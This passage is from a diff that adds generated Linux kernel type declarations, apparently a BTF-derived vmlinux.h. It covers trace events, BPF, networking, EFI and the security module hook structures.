(*btf_trace_page_pool_update_nid)(void *, const struct page_pool *, int); + +struct trace_event_raw_neigh_create { + struct trace_entry ent; + u32 family; + u32 __data_loc_dev; + int entries; + u8 created; + u8 gc_exempt; + u8 primary_key4[4]; + u8 primary_key6[16]; + char __data[0]; +}; + +struct trace_event_raw_neigh_update { + struct trace_entry ent; + u32 family; + u32 __data_loc_dev; + u8 lladdr[32]; + u8 lladdr_len; + u8 flags; + u8 nud_state; + u8 type; + u8 dead; + int refcnt; + __u8 primary_key4[4]; + __u8 primary_key6[16]; + long unsigned int confirmed; + long unsigned int updated; + long unsigned int used; + u8 new_lladdr[32]; + u8 new_state; + u32 update_flags; + u32 pid; + char __data[0]; +}; + +struct trace_event_raw_neigh__update { + struct trace_entry ent; + u32 family; + u32 __data_loc_dev; + u8 lladdr[32]; + u8 lladdr_len; + u8 flags; + u8 nud_state; + u8 type; + u8 dead; + int refcnt; + __u8 primary_key4[4]; + __u8 primary_key6[16]; + long unsigned int confirmed; + long unsigned int updated; + long unsigned int used; + u32 err; + char __data[0]; +}; + +struct trace_event_data_offsets_neigh_create { + u32 dev; +}; + +struct trace_event_data_offsets_neigh_update { + u32 dev; +}; + +struct trace_event_data_offsets_neigh__update { + u32 dev; +}; + +typedef void (*btf_trace_neigh_create)(void *, struct neigh_table *, struct net_device *, const void *, const struct neighbour *, bool); + +typedef void (*btf_trace_neigh_update)(void *, struct neighbour *, const u8 *, u8, u32, u32); + +typedef void (*btf_trace_neigh_update_done)(void *, struct neighbour *, int); + +typedef void (*btf_trace_neigh_timer_handler)(void *, struct neighbour *, int); + +typedef void (*btf_trace_neigh_event_send_done)(void *, struct neighbour *, int); + +typedef void (*btf_trace_neigh_event_send_dead)(void *, struct neighbour *, int); + +typedef void (*btf_trace_neigh_cleanup_and_release)(void *, struct neighbour *, int); + +enum inet_csk_ack_state_t { + ICSK_ACK_SCHED = 1, + ICSK_ACK_TIMER = 2, + ICSK_ACK_PUSHED = 4, + ICSK_ACK_PUSHED2 = 8, + ICSK_ACK_NOW = 16, +}; + +enum { + BPF_SOCK_OPS_RTO_CB_FLAG = 1, + BPF_SOCK_OPS_RETRANS_CB_FLAG = 2, + BPF_SOCK_OPS_STATE_CB_FLAG = 4, + BPF_SOCK_OPS_RTT_CB_FLAG = 8, + BPF_SOCK_OPS_PARSE_ALL_HDR_OPT_CB_FLAG = 16, + BPF_SOCK_OPS_PARSE_UNKNOWN_HDR_OPT_CB_FLAG = 32, + BPF_SOCK_OPS_WRITE_HDR_OPT_CB_FLAG = 64, + BPF_SOCK_OPS_ALL_CB_FLAGS = 127, +}; + +enum { + BPF_SOCK_OPS_VOID = 0, + BPF_SOCK_OPS_TIMEOUT_INIT = 1, + BPF_SOCK_OPS_RWND_INIT = 2, + BPF_SOCK_OPS_TCP_CONNECT_CB = 3, + BPF_SOCK_OPS_ACTIVE_ESTABLISHED_CB = 4, + BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB = 5, + BPF_SOCK_OPS_NEEDS_ECN = 6, + BPF_SOCK_OPS_BASE_RTT = 7, + BPF_SOCK_OPS_RTO_CB = 8, + BPF_SOCK_OPS_RETRANS_CB = 9, + BPF_SOCK_OPS_STATE_CB = 10, + BPF_SOCK_OPS_TCP_LISTEN_CB = 11, + BPF_SOCK_OPS_RTT_CB = 12, + BPF_SOCK_OPS_PARSE_HDR_OPT_CB = 13, + BPF_SOCK_OPS_HDR_OPT_LEN_CB = 14, + BPF_SOCK_OPS_WRITE_HDR_OPT_CB = 15, +}; + +struct bpf_sock_ops_kern { + struct sock *sk; + union { + u32 args[4]; + u32 reply; + u32 replylong[4]; + }; + struct sk_buff *syn_skb; + struct sk_buff *skb; + void *skb_data_end; + u8 op; + u8 is_fullsock; + u8 remaining_opt_len; + u64 temp; +}; + +struct ac6_iter_state { + struct seq_net_private p; + struct net_device *dev; + struct inet6_dev *idev; +}; + +struct ip_tunnel_prl { + __be32 addr; + __u16 flags; + __u16 __reserved; + __u32 datalen; + __u32 __reserved2; +}; + +struct ip_tunnel_prl_entry { + struct ip_tunnel_prl_entry *next; + __be32 addr; + u16 flags; + struct callback_head callback_head; +}; + +struct ip_tunnel { + struct ip_tunnel *next; + struct hlist_node hash_node; + struct net_device *dev; + netdevice_tracker dev_tracker; + struct net *net; + long unsigned int err_time; + int err_count; + u32 i_seqno; + atomic_t o_seqno; + int tun_hlen; + u32 index; + u8 erspan_ver; + u8 dir; + u16 hwid; + struct dst_cache dst_cache; + struct ip_tunnel_parm parms; + int mlink; + int encap_hlen; + int hlen; + struct ip_tunnel_encap encap; + struct ip_tunnel_prl_entry *prl; + unsigned int prl_count; + unsigned int ip_tnl_net_id; + struct gro_cells gro_cells; + __u32 fwmark; + bool collect_md; + bool ignore_df; +}; + +struct xfrm_tunnel { + int (*handler)(struct sk_buff *); + int (*cb_handler)(struct sk_buff *, int); + int (*err_handler)(struct sk_buff *, u32); + struct xfrm_tunnel *next; + int priority; +}; + +struct sit_net { + struct ip_tunnel *tunnels_r_l[16]; + struct ip_tunnel *tunnels_r[16]; + struct ip_tunnel *tunnels_l[16]; + struct ip_tunnel *tunnels_wc[1]; + struct ip_tunnel **tunnels[4]; + struct net_device *fb_tunnel_dev; +}; + +struct socket_alloc { + struct socket socket; + struct inode vfs_inode; + long: 64; +}; + +struct mptcp_ext { + union { + u64 data_ack; + u32 data_ack32; + }; + u64 data_seq; + u32 subflow_seq; + u16 data_len; + __sum16 csum; + u8 use_map: 1; + u8 dsn64: 1; + u8 data_fin: 1; + u8 use_ack: 1; + u8 ack64: 1; + u8 mpc_map: 1; + u8 frozen: 1; + u8 reset_transient: 1; + u8 reset_reason: 4; + u8 csum_reqd: 1; + u8 infinite_map: 1; +}; + +struct tcp_skb_cb { + __u32 seq; + __u32 end_seq; + union { + __u32 tcp_tw_isn; + struct { + u16 tcp_gso_segs; + u16 tcp_gso_size; + }; + }; + __u8 tcp_flags; + __u8 sacked; + __u8 ip_dsfield; + __u8 txstamp_ack: 1; + __u8 eor: 1; + __u8 has_rxtstamp: 1; + __u8 unused: 5; + __u32 ack_seq; + union { + struct { + __u32 is_app_limited: 1; + __u32 delivered_ce: 20; + __u32 unused: 11; + __u32 delivered; + u64 first_tx_mstamp; + u64 delivered_mstamp; + } tx; + union { + struct inet_skb_parm h4; + struct inet6_skb_parm h6; + } header; + }; +}; + +struct mptcp_options_received { + u64 sndr_key; + u64 rcvr_key; + u64 data_ack; + u64 data_seq; + u32 subflow_seq; + u16 data_len; + __sum16 csum; + u16 suboptions; + u32 token; + u32 nonce; + u16 use_map: 1; + u16 dsn64: 1; + u16 data_fin: 1; + u16 use_ack: 1; + u16 ack64: 1; + u16 mpc_map: 1; + u16 reset_reason: 4; + u16 reset_transient: 1; + u16 echo: 1; + u16 backup: 1; + u16 deny_join_id0: 1; + u16 __unused: 2; + u8 join_id; + u64 thmac; + u8 hmac[20]; + struct mptcp_addr_info addr; + struct mptcp_rm_list rm_list; + u64 ahmac; + u64 fail_seq; +}; + +enum mapping_status { + MAPPING_OK = 0, + MAPPING_INVALID = 1, + MAPPING_EMPTY = 2, + MAPPING_DATA_FIN = 3, + MAPPING_DUMMY = 4, + MAPPING_BAD_CSUM = 5, +}; + +struct group_data { + int limit[21]; + int base[20]; + int permute[258]; + int minLen; + int maxLen; +}; + +struct bunzip_data { + int writeCopies; + int writePos; + int writeRunCountdown; + int writeCount; + int writeCurrent; + long int (*fill)(void *, long unsigned int); + long int inbufCount; + long int inbufPos; + unsigned char *inbuf; + unsigned int inbufBitCount; + unsigned int inbufBits; + unsigned int crc32Table[256]; + unsigned int headerCRC; + unsigned int totalCRC; + unsigned int writeCRC; + unsigned int *dbuf; + unsigned int dbufSize; + unsigned char selectors[32768]; + struct group_data groups[6]; + int io_error; + int byteCount[256]; + unsigned char symToByte[256]; + unsigned char mtfSymbol[256]; +}; + +enum umh_disable_depth { + UMH_ENABLED = 0, + UMH_FREEZING = 1, + UMH_DISABLED = 2, +}; + +struct hash { + int ino; + int minor; + int major; + umode_t mode; + struct hash *next; + char name[4098]; +}; + +struct dir_entry { + struct list_head list; + time64_t mtime; + char name[0]; +}; + +enum state { + Start = 0, + Collect = 1, + GotHeader = 2, + SkipIt = 3, + GotName = 4, + CopyFile = 5, + GotSymlink = 6, + Reset = 7, +}; + +struct agp_kern_info { + struct agp_version version; + struct pci_dev *device; + enum chipset_type chipset; + long unsigned int mode; + long unsigned int aper_base; + size_t aper_size; + int max_memory; + int current_memory; + bool cant_use_aperture; + long unsigned int page_mask; + const struct vm_operations_struct *vm_ops; +}; + +struct agp_bridge_data; + +typedef struct { + efi_guid_t guid; + long unsigned int *ptr; + const char name[16]; +} efi_config_table_type_t; + +typedef struct { + efi_table_hdr_t hdr; + u64 fw_vendor; + u32 fw_revision; + u32 __pad1; + u64 con_in_handle; + u64 con_in; + u64 con_out_handle; + u64 con_out; + u64 stderr_handle; + u64 stderr; + u64 runtime; + u64 boottime; + u32 nr_tables; + u32 __pad2; + u64 tables; +} efi_system_table_64_t; + +typedef struct { + efi_table_hdr_t hdr; + u32 fw_vendor; + u32 fw_revision; + u32 con_in_handle; + u32 con_in; + u32 con_out_handle; + u32 con_out; + u32 stderr_handle; + u32 stderr; + u32 runtime; + u32 boottime; + u32 nr_tables; + u32 tables; +} efi_system_table_32_t; + +typedef struct { + u32 version; + u32 length; + u64 memory_protection_attribute; +} efi_properties_table_t; + +struct clock_event_device; + +enum rwsem_waiter_type { + RWSEM_WAITING_FOR_WRITE = 0, + RWSEM_WAITING_FOR_READ = 1, +}; + +struct rwsem_waiter { + struct list_head list; + struct task_struct *task; + enum rwsem_waiter_type type; + long unsigned int timeout; + bool handoff_set; +}; + +enum rwsem_wake_type { + RWSEM_WAKE_ANY = 0, + RWSEM_WAKE_READERS = 1, + RWSEM_WAKE_READ_OWNED = 2, +}; + +enum owner_state { + OWNER_NULL = 1, + OWNER_WRITER = 2, + OWNER_READER = 4, + OWNER_NONSPINNABLE = 8, +}; + +enum { + IRQ_STARTUP_NORMAL = 0, + IRQ_STARTUP_MANAGED = 1, + IRQ_STARTUP_ABORT = 2, +}; + +struct trace_event_raw_sys_enter { + struct trace_entry ent; + long int id; + long unsigned int args[6]; + char __data[0]; +}; + +struct trace_event_raw_sys_exit { + struct trace_entry ent; + long int id; + long int ret; + char __data[0]; +}; + +struct trace_event_data_offsets_sys_enter {}; + +struct trace_event_data_offsets_sys_exit {}; + +typedef void (*btf_trace_sys_enter)(void *, struct pt_regs *, long int); + +typedef void (*btf_trace_sys_exit)(void *, struct pt_regs *, long int); + +struct posix_clock_desc { + struct file *fp; + struct posix_clock *clk; +}; + +struct audit_rule_data { + __u32 flags; + __u32 action; + __u32 field_count; + __u32 mask[64]; + __u32 fields[64]; + __u32 values[64]; + __u32 fieldflags[64]; + __u32 buflen; + char buf[0]; +}; + +struct audit_netlink_list { + __u32 portid; + struct net *net; + struct sk_buff_head q; +}; + +struct bpf_preload_info { + char link_name[16]; + struct bpf_link *link; +}; + +struct bpf_preload_ops { + int (*preload)(struct bpf_preload_info *); + struct module *owner; +}; + +enum bpf_cmd { + BPF_MAP_CREATE = 0, + BPF_MAP_LOOKUP_ELEM = 1, + BPF_MAP_UPDATE_ELEM = 2, + BPF_MAP_DELETE_ELEM = 3, + BPF_MAP_GET_NEXT_KEY = 4, + BPF_PROG_LOAD = 5, + BPF_OBJ_PIN = 6, + BPF_OBJ_GET = 7, + BPF_PROG_ATTACH = 8, + BPF_PROG_DETACH = 9, + BPF_PROG_TEST_RUN = 10, + BPF_PROG_RUN = 10, + BPF_PROG_GET_NEXT_ID = 11, + BPF_MAP_GET_NEXT_ID = 12, + BPF_PROG_GET_FD_BY_ID = 13, + BPF_MAP_GET_FD_BY_ID = 14, + BPF_OBJ_GET_INFO_BY_FD = 15, + BPF_PROG_QUERY = 16, + BPF_RAW_TRACEPOINT_OPEN = 17, + BPF_BTF_LOAD = 18, + BPF_BTF_GET_FD_BY_ID = 19, + BPF_TASK_FD_QUERY = 20, + BPF_MAP_LOOKUP_AND_DELETE_ELEM = 21, + BPF_MAP_FREEZE = 22, + BPF_BTF_GET_NEXT_ID = 23, + BPF_MAP_LOOKUP_BATCH = 24, + BPF_MAP_LOOKUP_AND_DELETE_BATCH = 25, + BPF_MAP_UPDATE_BATCH = 26, + BPF_MAP_DELETE_BATCH = 27, + BPF_LINK_CREATE = 28, + BPF_LINK_UPDATE = 29, + BPF_LINK_GET_FD_BY_ID = 30, + BPF_LINK_GET_NEXT_ID = 31, + BPF_ENABLE_STATS = 32, + BPF_ITER_CREATE = 33, + BPF_LINK_DETACH = 34, + BPF_PROG_BIND_MAP = 35, +}; + +struct bpf_map_desc { + int map_fd; + __u32 max_entries; + __u64 initial_value; +}; + +struct bpf_prog_desc { + int prog_fd; +}; + +enum { + BPF_SKEL_KERNEL = 1, +}; + +struct bpf_loader_ctx { + __u32 sz; + __u32 flags; + __u32 log_level; + __u32 log_size; + __u64 log_buf; +}; + +struct bpf_load_and_run_opts { + struct bpf_loader_ctx *ctx; + const void *data; + const void *insns; + __u32 data_sz; + __u32 insns_sz; + const char *errstr; +}; + +struct iterators_bpf__rodata {}; + +struct iterators_bpf { + struct bpf_loader_ctx ctx; + struct { + struct bpf_map_desc rodata; + } maps; + struct { + struct bpf_prog_desc dump_bpf_map; + struct bpf_prog_desc dump_bpf_prog; + } progs; + struct { + int dump_bpf_map_fd; + int dump_bpf_prog_fd; + } links; + struct iterators_bpf__rodata *rodata; +}; + +enum perf_type_id { + PERF_TYPE_HARDWARE = 0, + PERF_TYPE_SOFTWARE = 1, + PERF_TYPE_TRACEPOINT = 2, + PERF_TYPE_HW_CACHE = 3, + PERF_TYPE_RAW = 4, + PERF_TYPE_BREAKPOINT = 5, + PERF_TYPE_MAX = 6, +}; + +enum perf_event_sample_format { + PERF_SAMPLE_IP = 1, + PERF_SAMPLE_TID = 2, + PERF_SAMPLE_TIME = 4, + PERF_SAMPLE_ADDR = 8, + PERF_SAMPLE_READ = 16, + PERF_SAMPLE_CALLCHAIN = 32, + PERF_SAMPLE_ID = 64, + PERF_SAMPLE_CPU = 128, + PERF_SAMPLE_PERIOD = 256, + PERF_SAMPLE_STREAM_ID = 512, + PERF_SAMPLE_RAW = 1024, + PERF_SAMPLE_BRANCH_STACK = 2048, + PERF_SAMPLE_REGS_USER = 4096, + PERF_SAMPLE_STACK_USER = 8192, + PERF_SAMPLE_WEIGHT = 16384, + PERF_SAMPLE_DATA_SRC = 32768, + PERF_SAMPLE_IDENTIFIER = 65536, + PERF_SAMPLE_TRANSACTION = 131072, + PERF_SAMPLE_REGS_INTR = 262144, + PERF_SAMPLE_PHYS_ADDR = 524288, + PERF_SAMPLE_AUX = 1048576, + PERF_SAMPLE_CGROUP = 2097152, + PERF_SAMPLE_DATA_PAGE_SIZE = 4194304, + PERF_SAMPLE_CODE_PAGE_SIZE = 8388608, + PERF_SAMPLE_WEIGHT_STRUCT = 16777216, + PERF_SAMPLE_MAX = 33554432, +}; + +enum { + HW_BREAKPOINT_EMPTY = 0, + HW_BREAKPOINT_R = 1, + HW_BREAKPOINT_W = 2, + HW_BREAKPOINT_RW = 3, + HW_BREAKPOINT_X = 4, + HW_BREAKPOINT_INVALID = 7, +}; + +enum bp_type_idx { + TYPE_INST = 0, + TYPE_DATA = 0, + TYPE_MAX = 1, +}; + +struct bp_slots_histogram { + atomic_t count[4]; +}; + +struct bp_cpuinfo { + unsigned int cpu_pinned; + struct bp_slots_histogram tsk_pinned; +}; + +enum { + XA_CHECK_SCHED = 4096, +}; + +enum wb_state { + WB_registered = 0, + WB_writeback_running = 1, + WB_has_dirty_io = 2, + WB_start_all = 3, +}; + +struct wb_lock_cookie { + bool locked; + long unsigned int flags; +}; + +typedef int (*writepage_t)(struct folio *, struct writeback_control *, void *); + +struct dirty_throttle_control { + struct wb_domain *dom; + struct dirty_throttle_control *gdtc; + struct bdi_writeback *wb; + struct fprop_local_percpu *wb_completions; + long unsigned int avail; + long unsigned int dirty; + long unsigned int thresh; + long unsigned int bg_thresh; + long unsigned int wb_dirty; + long unsigned int wb_thresh; + long unsigned int wb_bg_thresh; + long unsigned int pos_ratio; +}; + +struct posix_acl_xattr_entry { + __le16 e_tag; + __le16 e_perm; + __le32 e_id; +}; + +struct posix_acl_xattr_header { + __le32 a_version; +}; + +typedef struct { + __le16 e_tag; + __le16 e_perm; + __le32 e_id; +} ext4_acl_entry; + +typedef struct { + __le32 a_version; +} ext4_acl_header; + +enum p9_perm_t { + P9_DMDIR = 2147483648, + P9_DMAPPEND = 1073741824, + P9_DMEXCL = 536870912, + P9_DMMOUNT = 268435456, + P9_DMAUTH = 134217728, + P9_DMTMP = 67108864, + P9_DMSYMLINK = 33554432, + P9_DMLINK = 16777216, + P9_DMDEVICE = 8388608, + P9_DMNAMEDPIPE = 2097152, + P9_DMSOCKET = 1048576, + P9_DMSETUID = 524288, + P9_DMSETGID = 262144, + P9_DMSETVTX = 65536, +}; + +enum p9_qid_t { + P9_QTDIR = 128, + P9_QTAPPEND = 64, + P9_QTEXCL = 32, + P9_QTMOUNT = 16, + P9_QTAUTH = 8, + P9_QTTMP = 4, + P9_QTSYMLINK = 2, + P9_QTLINK = 1, + P9_QTFILE = 0, +}; + +enum p9_cache_bits { + CACHE_NONE = 0, + CACHE_FILE = 1, + CACHE_META = 2, + CACHE_WRITEBACK = 4, + CACHE_LOOSE = 8, + CACHE_FSCACHE = 128, +}; + +struct vfs_cap_data { + __le32 magic_etc; + struct { + __le32 permitted; + __le32 inheritable; + } data[2]; +}; + +struct vfs_ns_cap_data { + __le32 magic_etc; + struct { + __le32 permitted; + __le32 inheritable; + } data[2]; + __le32 rootid; +}; + +struct cpu_vfs_cap_data { + __u32 magic_etc; + kuid_t rootid; + kernel_cap_t permitted; + kernel_cap_t inheritable; +}; + +struct sembuf { + short unsigned int sem_num; + short int sem_op; + short int sem_flg; +}; + +enum kernel_read_file_id { + READING_UNKNOWN = 0, + READING_FIRMWARE = 1, + READING_MODULE = 2, + READING_KEXEC_IMAGE = 3, + READING_KEXEC_INITRAMFS = 4, + READING_POLICY = 5, + READING_X509_CERTIFICATE = 6, + READING_MAX_ID = 7, +}; + +enum kernel_load_data_id { + LOADING_UNKNOWN = 0, + LOADING_FIRMWARE = 1, + LOADING_MODULE = 2, + LOADING_KEXEC_IMAGE = 3, + LOADING_KEXEC_INITRAMFS = 4, + LOADING_POLICY = 5, + LOADING_X509_CERTIFICATE = 6, + LOADING_MAX_ID = 7, +}; + +struct msg_msg; + +struct sctp_association; + +union security_list_options { + int (*binder_set_context_mgr)(const struct cred *); + int (*binder_transaction)(const struct cred *, const struct cred *); + int (*binder_transfer_binder)(const struct cred *, const struct cred *); + int (*binder_transfer_file)(const struct cred *, const struct cred *, struct file *); + int (*ptrace_access_check)(struct task_struct *, unsigned int); + int (*ptrace_traceme)(struct task_struct *); + int (*capget)(struct task_struct *, kernel_cap_t *, kernel_cap_t *, kernel_cap_t *); + int (*capset)(struct cred *, const struct cred *, const kernel_cap_t *, const kernel_cap_t *, const kernel_cap_t *); + int (*capable)(const struct cred *, struct user_namespace *, int, unsigned int); + int (*quotactl)(int, int, int, struct super_block *); + int (*quota_on)(struct dentry *); + int (*syslog)(int); + int (*settime)(const struct timespec64 *, const struct timezone *); + int (*vm_enough_memory)(struct mm_struct *, long int); + int (*bprm_creds_for_exec)(struct linux_binprm *); + int (*bprm_creds_from_file)(struct linux_binprm *, struct file *); + int (*bprm_check_security)(struct linux_binprm *); + void (*bprm_committing_creds)(struct linux_binprm *); + void (*bprm_committed_creds)(struct linux_binprm *); + int (*fs_context_dup)(struct fs_context *, struct fs_context *); + int (*fs_context_parse_param)(struct fs_context *, struct fs_parameter *); + int (*sb_alloc_security)(struct super_block *); + void (*sb_delete)(struct super_block *); + void (*sb_free_security)(struct super_block *); + void (*sb_free_mnt_opts)(void *); + int (*sb_eat_lsm_opts)(char *, void **); + int (*sb_mnt_opts_compat)(struct super_block *, void *); + int (*sb_remount)(struct super_block *, void *); + int (*sb_kern_mount)(struct super_block *); + int (*sb_show_options)(struct seq_file *, struct super_block *); + int (*sb_statfs)(struct dentry *); + int (*sb_mount)(const char *, const struct path *, const char *, long unsigned int, void *); + int (*sb_umount)(struct vfsmount *, int); + int (*sb_pivotroot)(const struct path *, const struct path *); + int (*sb_set_mnt_opts)(struct super_block *, void *, long unsigned int, long unsigned int *); + int (*sb_clone_mnt_opts)(const struct super_block *, struct super_block *, long unsigned int, long unsigned int *); + int (*move_mount)(const struct path *, const struct path *); + int (*dentry_init_security)(struct dentry *, int, const struct qstr *, const char **, void **, u32 *); + int (*dentry_create_files_as)(struct dentry *, int, struct qstr *, const struct cred *, struct cred *); + int (*path_notify)(const struct path *, u64, unsigned int); + int (*inode_alloc_security)(struct inode *); + void (*inode_free_security)(struct inode *); + int (*inode_init_security)(struct inode *, struct inode *, const struct qstr *, const char **, void **, size_t *); + int (*inode_init_security_anon)(struct inode *, const struct qstr *, const struct inode *); + int (*inode_create)(struct inode *, struct dentry *, umode_t); + int (*inode_link)(struct dentry *, struct inode *, struct dentry *); + int (*inode_unlink)(struct inode *, struct dentry *); + int (*inode_symlink)(struct inode *, struct dentry *, const char *); + int (*inode_mkdir)(struct inode *, struct dentry *, umode_t); + int (*inode_rmdir)(struct inode *, struct dentry *); + int (*inode_mknod)(struct inode *, struct dentry *, umode_t, dev_t); + int (*inode_rename)(struct inode *, struct dentry *, struct inode *, struct dentry *); + int (*inode_readlink)(struct dentry *); + int (*inode_follow_link)(struct dentry *, struct inode *, bool); + int (*inode_permission)(struct inode *, int); + int (*inode_setattr)(struct dentry *, struct iattr *); + int (*inode_getattr)(const struct path *); + int (*inode_setxattr)(struct mnt_idmap *, struct dentry *, const char *, const void *, size_t, int); + void (*inode_post_setxattr)(struct dentry *, const char *, const void *, size_t, int); + int (*inode_getxattr)(struct dentry *, const char *); + int (*inode_listxattr)(struct dentry *); + int (*inode_removexattr)(struct mnt_idmap *, struct dentry *, const char *); + int (*inode_set_acl)(struct mnt_idmap *, struct dentry *, const char *, struct posix_acl *); + int (*inode_get_acl)(struct mnt_idmap *, struct dentry *, const char *); + int (*inode_remove_acl)(struct mnt_idmap *, struct dentry *, const char *); + int (*inode_need_killpriv)(struct dentry *); + int (*inode_killpriv)(struct mnt_idmap *, struct dentry *); + int (*inode_getsecurity)(struct mnt_idmap *, struct inode *, const char *, void **, bool); + int (*inode_setsecurity)(struct inode *, const char *, const void *, size_t, int); + int (*inode_listsecurity)(struct inode *, char *, size_t); + void (*inode_getsecid)(struct inode *, u32 *); + int (*inode_copy_up)(struct dentry *, struct cred **); + int (*inode_copy_up_xattr)(const char *); + int (*kernfs_init_security)(struct kernfs_node *, struct kernfs_node *); + int (*file_permission)(struct file *, int); + int (*file_alloc_security)(struct file *); + void (*file_free_security)(struct file *); + int (*file_ioctl)(struct file *, unsigned int, long unsigned int); + int (*mmap_addr)(long unsigned int); + int (*mmap_file)(struct file *, long unsigned int, long unsigned int, long unsigned int); + int (*file_mprotect)(struct vm_area_struct *, long unsigned int, long unsigned int); + int (*file_lock)(struct file *, unsigned int); + int (*file_fcntl)(struct file *, unsigned int, long unsigned int); + void (*file_set_fowner)(struct file *); + int (*file_send_sigiotask)(struct task_struct *, struct fown_struct *, int); + int (*file_receive)(struct file *); + int (*file_open)(struct file *); + int (*file_truncate)(struct file *); + int (*task_alloc)(struct task_struct *, long unsigned int); + void (*task_free)(struct task_struct *); + int (*cred_alloc_blank)(struct cred *, gfp_t); + void (*cred_free)(struct cred *); + int (*cred_prepare)(struct cred *, const struct cred *, gfp_t); + void (*cred_transfer)(struct cred *, const struct cred *); + void (*cred_getsecid)(const struct cred *, u32 *); + int (*kernel_act_as)(struct cred *, u32); + int (*kernel_create_files_as)(struct cred *, struct inode *); + int (*kernel_module_request)(char *); + int (*kernel_load_data)(enum kernel_load_data_id, bool); + int (*kernel_post_load_data)(char *, loff_t, enum kernel_load_data_id, char *); + int (*kernel_read_file)(struct file *, enum kernel_read_file_id, bool); + int (*kernel_post_read_file)(struct file *, char *, loff_t, enum kernel_read_file_id); + int (*task_fix_setuid)(struct cred *, const struct cred *, int); + int (*task_fix_setgid)(struct cred *, const struct cred *, int); + int (*task_fix_setgroups)(struct cred *, const struct cred *); + int (*task_setpgid)(struct task_struct *, pid_t); + int (*task_getpgid)(struct task_struct *); + int (*task_getsid)(struct task_struct *); + void (*current_getsecid_subj)(u32 *); + void (*task_getsecid_obj)(struct task_struct *, u32 *); + int (*task_setnice)(struct task_struct *, int); + int (*task_setioprio)(struct task_struct *, int); + int (*task_getioprio)(struct task_struct *); + int (*task_prlimit)(const struct cred *, const struct cred *, unsigned int); + int (*task_setrlimit)(struct task_struct *, unsigned int, struct rlimit *); + int (*task_setscheduler)(struct task_struct *); + int (*task_getscheduler)(struct task_struct *); + int (*task_movememory)(struct task_struct *); + int (*task_kill)(struct task_struct *, struct kernel_siginfo *, int, const struct cred *); + int (*task_prctl)(int, long unsigned int, long unsigned int, long unsigned int, long unsigned int); + void (*task_to_inode)(struct task_struct *, struct inode *); + int (*userns_create)(const struct cred *); + int (*ipc_permission)(struct kern_ipc_perm *, short int); + void (*ipc_getsecid)(struct kern_ipc_perm *, u32 *); + int (*msg_msg_alloc_security)(struct msg_msg *); + void (*msg_msg_free_security)(struct msg_msg *); + int (*msg_queue_alloc_security)(struct kern_ipc_perm *); + void (*msg_queue_free_security)(struct kern_ipc_perm *); + int (*msg_queue_associate)(struct kern_ipc_perm *, int); + int (*msg_queue_msgctl)(struct kern_ipc_perm *, int); + int (*msg_queue_msgsnd)(struct kern_ipc_perm *, struct msg_msg *, int); + int (*msg_queue_msgrcv)(struct kern_ipc_perm *, struct msg_msg *, struct task_struct *, long int, int); + int (*shm_alloc_security)(struct kern_ipc_perm *); + void (*shm_free_security)(struct kern_ipc_perm *); + int (*shm_associate)(struct kern_ipc_perm *, int); + int (*shm_shmctl)(struct kern_ipc_perm *, int); + int (*shm_shmat)(struct kern_ipc_perm *, char *, int); + int (*sem_alloc_security)(struct kern_ipc_perm *); + void (*sem_free_security)(struct kern_ipc_perm *); + int (*sem_associate)(struct kern_ipc_perm *, int); + int (*sem_semctl)(struct kern_ipc_perm *, int); + int (*sem_semop)(struct kern_ipc_perm *, struct sembuf *, unsigned int, int); + int (*netlink_send)(struct sock *, struct sk_buff *); + void (*d_instantiate)(struct dentry *, struct inode *); + int (*getprocattr)(struct task_struct *, const char *, char **); + int (*setprocattr)(const char *, void *, size_t); + int (*ismaclabel)(const char *); + int (*secid_to_secctx)(u32, char **, u32 *); + int (*secctx_to_secid)(const char *, u32, u32 *); + void (*release_secctx)(char *, u32); + void (*inode_invalidate_secctx)(struct inode *); + int (*inode_notifysecctx)(struct inode *, void *, u32); + int (*inode_setsecctx)(struct dentry *, void *, u32); + int (*inode_getsecctx)(struct inode *, void **, u32 *); + int (*unix_stream_connect)(struct sock *, struct sock *, struct sock *); + int (*unix_may_send)(struct socket *, struct socket *); + int (*socket_create)(int, int, int, int); + int (*socket_post_create)(struct socket *, int, int, int, int); + int (*socket_socketpair)(struct socket *, struct socket *); + int (*socket_bind)(struct socket *, struct sockaddr *, int); + int (*socket_connect)(struct socket *, struct sockaddr *, int); + int (*socket_listen)(struct socket *, int); + int (*socket_accept)(struct socket *, struct socket *); + int (*socket_sendmsg)(struct socket *, struct msghdr *, int); + int (*socket_recvmsg)(struct socket *, struct msghdr *, int, int); + int (*socket_getsockname)(struct socket *); + int (*socket_getpeername)(struct socket *); + int (*socket_getsockopt)(struct socket *, int, int); + int (*socket_setsockopt)(struct socket *, int, int); + int (*socket_shutdown)(struct socket *, int); + int (*socket_sock_rcv_skb)(struct sock *, struct sk_buff *); + int (*socket_getpeersec_stream)(struct socket *, sockptr_t, sockptr_t, unsigned int); + int (*socket_getpeersec_dgram)(struct socket *, struct sk_buff *, u32 *); + int (*sk_alloc_security)(struct sock *, int, gfp_t); + void (*sk_free_security)(struct sock *); + void (*sk_clone_security)(const struct sock *, struct sock *); + void (*sk_getsecid)(struct sock *, u32 *); + void (*sock_graft)(struct sock *, struct socket *); + int (*inet_conn_request)(const struct sock *, struct sk_buff *, struct request_sock *); + void (*inet_csk_clone)(struct sock *, const struct request_sock *); + void (*inet_conn_established)(struct sock *, struct sk_buff *); + int (*secmark_relabel_packet)(u32); + void (*secmark_refcount_inc)(); + void (*secmark_refcount_dec)(); + void (*req_classify_flow)(const struct request_sock *, struct flowi_common *); + int (*tun_dev_alloc_security)(void **); + void (*tun_dev_free_security)(void *); + int (*tun_dev_create)(); + int (*tun_dev_attach_queue)(void *); + int (*tun_dev_attach)(struct sock *, void *); + int (*tun_dev_open)(void *); + int (*sctp_assoc_request)(struct sctp_association *, struct sk_buff *); + int (*sctp_bind_connect)(struct sock *, int, struct sockaddr *, int); + void (*sctp_sk_clone)(struct sctp_association *, struct sock *, struct sock *); + int (*sctp_assoc_established)(struct sctp_association *, struct sk_buff *); + int (*key_alloc)(struct key *, const struct cred *, long unsigned int); + void (*key_free)(struct key *); + int (*key_permission)(key_ref_t, const struct cred *, enum key_need_perm); + int (*key_getsecurity)(struct key *, char **); + int (*audit_rule_init)(u32, u32, char *, void **); + int (*audit_rule_known)(struct audit_krule *); + int (*audit_rule_match)(u32, u32, u32, void *); + void (*audit_rule_free)(void *); + int (*bpf)(int, union bpf_attr *, unsigned int); + int (*bpf_map)(struct bpf_map *, fmode_t); + int (*bpf_prog)(struct bpf_prog *); + int (*bpf_map_alloc_security)(struct bpf_map *); + void (*bpf_map_free_security)(struct bpf_map *); + int (*bpf_prog_alloc_security)(struct bpf_prog_aux *); 